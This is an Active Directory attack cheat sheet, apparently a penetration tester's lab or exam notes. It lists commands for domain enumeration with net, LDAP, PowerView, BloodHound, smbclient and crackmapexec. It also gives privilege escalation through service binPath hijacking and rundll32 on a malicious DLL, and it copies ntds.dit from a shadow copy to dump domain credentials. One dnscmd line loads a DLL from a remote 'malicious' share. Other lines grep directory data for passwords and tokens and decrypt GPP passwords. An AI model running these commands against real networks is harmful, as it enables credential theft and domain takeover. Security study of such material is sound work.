AD Cheat Sheet - https://wadcoms.github.io/#
AD mindmap - https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg
/d:
for domain nameUser Enumeration
net user /domain
will display all domain user accounts
net user {user} /domain
net group /domain
will give us the domain groups
net group "{group}" /domain
Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName={name})(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
Get-ADComputer -Filter * -Properties msFVE-RecoveryPassword | Select-Object Name, 'msFVE-RecoveryPassword'
Get-ADUser -Filter * -Properties MemberOf | Select-Object Name, MemberOf
Get-ADObject -LDAPFilter "(&(objectCategory=Person)(objectClass=user))" -Properties *
sc.exe config YourServiceName binPath= "C:\path\to\malicious\binary.exe"
sc.exe start YourServiceName
rundll32.exe C:\path\to\malicious.dll,MainEntryPoint
net localgroup Administrators TargetUser /add
sc.exe sdset "ServiceName" "D:(A;;CCLCRPRC;;;S-1-5-21-[SID of TargetUser])"
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
dnscmd /config /serverlevelplugindll \\malicious\share\malicious.dll
Enumeration with PowerShell and .NET Classes
LDAP://{Hostname}:{port}/{/DN}
sudo ldapdomaindump ldaps://{IP} -u '{username}' -p '{password}'
ldapsearch -x -H ldap://{IP} -b "dc={domain},dc={tld}" "(objectClass=person)"
| grep -iE "pass|pwd|secret|cred|auth|token|key"
ldapsearch -D '{domain}' -w '{password}' -p 389 -h {IP} -b "dc={domain},dc={tld}" -s sub "*" | grep lockoutThreshold
CN={obj_name},CN={container},DC={domain_component1},DC={domain_component1}
CN=Stephanie,CN=Users,DC=corp,DC=com
.NET Classes
System.DirectoryServices.ActiveDirectory
Domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
to get the current DomainUsing Search Functionality
samAccountType=805306368
to filter for users)Import-Module .\{name}.ps1
and LDAPSearch -q "({key}={value})"
LDAPSearch -q "(samAccountType=805306368)"
LDAPSearch -q "(objectclass=group)"
function LDAPSearch {
param (
[string]$q
)
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DistinguishedName = ([adsi]'').distinguishedName
$DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $q)
return $DirectorySearcher.FindAll()
}
foreach ($group in $(LDAPSearch -q "(objectCategory=group)")) { $group.properties | select {$_.cn}, {$_.member}}
net.exe
doesn’tImport-Module .\PowerView.ps1
Get-NetDomain
- gives basic domain infoGet-NetUser
- lists users within the domain
Get-NetUser | select CN,pwdlastset,lastlogon
Get-NetUser | Select-Object SamAccountName, Description
-SPN
Get-NetGroup
- enumerate groupsGet-NetComputer
- enumerate computer objects in the domain
Get-NetComputer | select operatingsystem,dnshostname
Get-NetComputer | ForEach-Object { $_.dnshostname | ForEach-Object { [System.Net.Dns]::GetHostAddresses($_) | Select-Object IPAddressToString } }
Find-LocalAdminAccess
- determines if our user has administrative permissions on any computers in the domain
Get-NetSession -ComputerName {computername} -Verbose
Get-ObjectAcl -Identity Stephanie > output.txt
- Returns all access control entries (forming an Access Control List) for Stephanie
Convert-SidToName
will convert a SID to a domain name objectActiveDirectoryRights
can be pretty interesting, as GenericAll
is the highest access permissions for an object
Get-ObjectAcl -Identity {identity} | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
will show all SIDs that have GenericAll for the identity
passed
identity
passed can be something like a domain group or user{sid} | Convert-SidToName
to see what objects have those permissions on that identity
Get-ObjectAcl -Identity "{identity}" | Where-Object { $_.ActiveDirectoryRights -eq "GenericAll" } | Select-Object -ExpandProperty SecurityIdentifier | Convert-SidToName
Find-DomainShare
will list all domain shares
ls \\{domain}\{share}
and read files with cat
gpp-decrypt
PsLoggedOn.exe
- uses Remote Registry service to enumerate registry keys to see who’s logged on to a system
.\PsLoggedOn.exe \\{computer name}
Find-LocalAdminAccess
that we have Admin access to a machine where another user is logged on, we should be able to take their hashessmbclient
is great for listing/connecting to smb shares
smbclient -N -L //{domain}/ -I IP
smbclient -N //{domain}/{share} -I {IP}
smbclient //{IP}/{share} -U {username}%{password}
tr -d '\000' < input_file > output_file
setspn.exe
is installed by default on Windows
setspn -L iis_service
Get-NetUser -SPN
will also list the service userscrackmapexec
to enumerate shares/users/groups
crackmapexec smb {IP} -u {username} -p {password} --shares
nxc smb {IP} -u {username} -p {password} --rid-brute 3000
anonymous
and empty passwordcrackmapexec smb {IP} -u {username} -p {password} --all
Enum4Linux
enum4linux {IP}
BloodHound/SharpHound
Invoke-WebRequest {url} -Outfile {outfile}; Expand-Archive {outfile}
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory {dir} -OutputPrefix {filename_prefix}
apt install bloodhound
pip install bloodhound
bloodhound-python -u {user} -p "{password}" -d {domain} -ns {IP} -c all
sudo neo4j start
neo4j
and install the suggested optionbloodhound
MATCH (m:Computer) RETURN m
MATCH (m:User) RETURN m
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
./cypher-shell -u neo4j -p {password} 'MATCH (c:Computer) WHERE toLower(c.name) ENDS WITH ".example.domain.tld" RETURN c.name' --format plain | tee hostnames.txt